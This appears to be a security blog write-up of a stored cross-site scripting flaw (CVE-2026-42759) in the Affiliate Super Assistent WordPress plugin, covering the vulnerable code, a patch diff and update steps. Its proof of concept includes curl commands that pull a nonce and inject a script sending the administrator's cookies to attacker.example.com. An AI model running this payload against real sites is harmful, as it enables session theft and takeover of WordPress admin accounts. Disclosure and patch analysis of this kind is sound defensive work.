Affiliate Super Assistent WordPress plugin banner

CVE-2026-42759: Stored XSS in Affiliate Super Assistent Plugin (CVSS 7.2)

Updated 7 min read

CVE-2026-42759 is a CVSS 7.2 (High) Unauthenticated Stored Cross-Site Scripting vulnerability in the Affiliate Super Assistent WordPress plugin. An unauthenticated attacker can poison the plugin’s error log with a malicious script. That script executes in any administrator’s browser the moment they open the plugin’s Log tab.

Vulnerability Summary

FieldValue
Plugin NameAffiliate Super Assistent
Plugin Slugamazonsimpleadmin
CVE IDCVE-2026-42759
CVSS Score7.2 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Vulnerability TypeUnauthenticated Stored Cross-Site Scripting
Affected Versions<= 1.10.1
Patched Version1.10.2
PublishedMay 30, 2026
ResearcherNguyen Ba Khanh
Wordfence AdvisoryLink

Description

The Affiliate Super Assistent plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.10.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Technical Analysis

How Async Mode Exposes the Nonce to Unauthenticated Users

Affiliate Super Assistent supports loading Amazon product data asynchronously via AJAX. When this mode is active, the plugin renders the [asa] shortcode with an inline <script> block on any front-end page. Inside that script is a valid WordPress nonce.

File: AsaCore.php (line 3792–3813)

$nonce = wp_create_nonce('amazonsimpleadmin');
$ajax_url = admin_url( 'admin-ajax.php' );
// ...
$output .= "<script type='text/javascript'>jQuery(document).ready(function($){" .
    "var data={action:'asa_async_load',asin:'$asin',tpl:'$tpl'," .
    "params:'$params',nonce:'$nonce'};" .
    "$.post(ajaxurl,data,function(response){jQuery('#$containerID').html(response)})" .
    "});</script>";

Any unauthenticated visitor who loads a page containing the [asa] shortcode can read this nonce from the page source. With a valid nonce, they can call the asa_async_load AJAX endpoint — which is also registered for non-logged-in users.

File: include/asa_ajax_callback.php (lines 3–4)

add_action('wp_ajax_asa_async_load', 'asa_async_load_callback');
add_action('wp_ajax_nopriv_asa_async_load', 'asa_async_load_callback');

The wp_ajax_nopriv_ prefix confirms this endpoint is accessible without authentication.

The Vulnerable logError() Function — Unsanitized HTTP Referer Stored to Database

When the plugin calls the Amazon PA-API to look up a product and the request fails (for example, because the attacker sends an invalid ASIN), it calls logError(). This function reads $_SERVER['HTTP_REFERER'] directly and stores it in the database without any sanitization.

File: AsaLogger.php (lines 55–60)

public function logError($error)
{
    $location = site_url($_SERVER['REQUEST_URI']);
    if (strstr($location, 'admin-ajax.php') !== false) {
        $location = $_SERVER['HTTP_REFERER']; // ← raw attacker input, no escaping
    }
    // ...
    $this->log($error['Code'], self::LOG_TYPE_ERROR, $extra, $location);
}

Because the request targets admin-ajax.php, the condition is always true for AJAX requests. The attacker controls $_SERVER['HTTP_REFERER'] through the Referer HTTP header. The log() method uses $wpdb->prepare() for the SQL query, which prevents SQL injection — but the raw value still lands in the database.

The Vulnerable column_default() — Log Table Renders Raw HTML

When an administrator opens the Log tab, AsaLogListTable::column_default() fetches every row from the database and returns column values directly to the page. The location column is returned with no HTML escaping.

File: AsaLogListTable.php (lines 99–107)

public function column_default( $item, $column_name )
{
    switch( $column_name ) {
        case 'id':
        case 'message':
        case 'location':    // ← raw value echoed into the admin page
        case 'timestamp':
            return $item[ $column_name ];
            break;
        // ...
    }
}

WordPress renders the return value of column_default() directly inside the admin table. Because location holds the raw attacker-supplied Referer, any script tag in that value executes in the administrator’s browser.

Execution Path — End to End

  1. Admin enables “Error Handling” and “Asynchronous mode (AJAX)” in plugin settings.
  2. A page is published with the [asa]ASIN[/asa] shortcode.
  3. An unauthenticated attacker loads that page and reads the embedded nonce from the <script> block.
  4. The attacker sends a POST to admin-ajax.php with action=asa_async_load, the extracted nonce, an invalid ASIN, and a malicious Referer header.
  5. The PA-API call fails → getLogger()->logError($error) is called.
  6. logError() stores the raw Referer value in the wp_asa_log table as location.
  7. An administrator visits Settings > Affiliate Simple Assistent (ASA1) > Log.
  8. AsaLogListTable::column_default() returns the unescaped location value.
  9. The malicious script executes with full administrator privileges.

Proof of Concept

Disclaimer: This proof of concept is provided for educational purposes and authorized security testing only. Do not test on systems you do not own or have explicit permission to test.

Prerequisites

  • Affiliate Super Assistent ≤ 1.10.1 installed and active
  • Error Handling enabled (Settings > Affiliate Simple Assistent > Options tab)
  • Asynchronous mode (AJAX) enabled (same settings page)
  • At least one published page contains the [asa]ASIN[/asa] shortcode

Step 1 — Extract the Nonce

Visit any public page that renders the [asa] shortcode in async mode. Read the nonce from the inline script in the page source.

TARGET="https://victim.example.com/some-product-page/"

NONCE=$(curl -s "$TARGET" \
  | grep -oP "nonce:'[^']*'" \
  | head -1 \
  | grep -oP "'[^']*'" \
  | tr -d "'")

echo "Nonce: $NONCE"

Step 2 — Inject the XSS Payload via Referer Header

Send an AJAX request to admin-ajax.php with an invalid ASIN to trigger an error log entry. Use a malicious script as the Referer header.

XSS_PAYLOAD='<script>fetch("https://attacker.example.com/steal?c="+document.cookie)</script>'

curl -s -X POST "https://victim.example.com/wp-admin/admin-ajax.php" \
  --data "action=asa_async_load&nonce=${NONCE}&asin=INVALID_ASIN_XSS_TEST" \
  --header "Referer: ${XSS_PAYLOAD}"

The payload is now stored in the wp_asa_log table as the location field.

Step 3 — Wait for Admin to View the Log

When an administrator navigates to Settings > Affiliate Simple Assistent (ASA1) > Log, the table renders the stored location value without escaping. The browser executes the injected script.

Step 4 — Verify

The admin’s session cookies arrive at attacker.example.com/steal. The attacker now has full authenticated access to the WordPress admin panel.

Patch Analysis

The patch in version 1.10.2 fixes both the storage and the rendering sides of the vulnerability.

Fix 1 — Sanitize the Referer Before Storing (AsaLogger.php)

-$location = $_SERVER['HTTP_REFERER'];
+$referer = isset($_SERVER['HTTP_REFERER']) ? (string) $_SERVER['HTTP_REFERER'] : '';
+// Referer is attacker-controlled and was previously stored unsanitised,
+// enabling stored XSS once an admin viewed the log page. esc_url_raw()
+// rejects unsafe schemes (javascript:, data:, ...) and strips control chars.
+$location = esc_url_raw($referer);

esc_url_raw() strips disallowed URL schemes (such as javascript: and data:) and removes control characters. A raw <script> tag is not a valid URL scheme, so the function reduces it to an empty string, preventing the payload from reaching the database.

Fix 2 — Escape Output When Rendering the Log Table (AsaLogListTable.php)

 case 'id':
+    return (int) $item[ $column_name ];
+
 case 'message':
-case 'location':
 case 'timestamp':
-    return $item[ $column_name ];
-    break;
+    return esc_html( (string) $item[ $column_name ] );
+
+case 'location':
+    // Stored value originates from $_SERVER['HTTP_REFERER'] / REQUEST_URI
+    // and must never be rendered as raw HTML. Render as escaped URL only.
+    return esc_url( (string) $item[ $column_name ] );

 case 'extra':
-    return nl2br($item[$column_name]);
+    return nl2br( esc_html( (string) $item[ $column_name ] ) );

Each column now uses the appropriate escaping function: esc_url() for URL values and esc_html() for plain text. Even if an unsanitized payload were already present in the database from before the update, the output escaping prevents it from executing.

Timeline

DateEvent
May 30, 2026Wordfence publishes the vulnerability advisory; patched version 1.10.2 available
June 1, 2026Advisory last updated
June 7, 2026This blog post published

Remediation

Update the Affiliate Super Assistent plugin to version 1.10.2 or later immediately.

  1. In your WordPress admin, go to Plugins > Installed Plugins.
  2. Find Affiliate Simple Assistent (ASA1) and click Update Now.
  3. Alternatively, download version 1.10.2 from wordpress.org.

If you suspect your site was targeted before updating, clear the plugin’s error log (Settings > Affiliate Simple Assistent > Log > Clear log) and audit your administrator accounts for unauthorized changes.

References

  1. Wordfence Advisory — CVE-2026-42759
  2. Patchstack Advisory
  3. WordPress Trac Changeset — 1.10.1 → 1.10.2
  4. CVE Record — CVE-2026-42759
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee